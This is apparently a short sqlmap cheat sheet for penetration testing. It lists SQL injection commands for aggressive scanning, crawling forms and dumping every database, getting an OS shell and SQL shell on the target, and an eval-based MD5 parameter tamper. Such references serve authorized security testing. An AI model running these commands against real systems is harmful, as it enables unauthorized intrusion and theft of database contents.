sqlmap.cheat

% sql, sqlmap

# Basic usage
sqlmap -u <url> --level 5 --risk 3

# Use Burp request file
sqlmap -r <file.req> --batch

# Complex command
sqlmap -u <url> --forms --crawl=2 --risk=3 --dbms=mysql --dbs --columns -D "<DB>" --dump-all

# Get Shell
sqlmap -u <url> --batch --banner --os-shell --sql-shell

# Execute shell command
sqlmap -u <url> -p <cmd> --sql-shell

# MD5 Tamper input parameter with eval function
sqlmap -u <url>?<param1>=abc&<param2>=xyz" --eval="import hashlib ; <param2>=hashlib.md5((<salt>+<param1>).encode('utf-8')).hexdigest()" --batch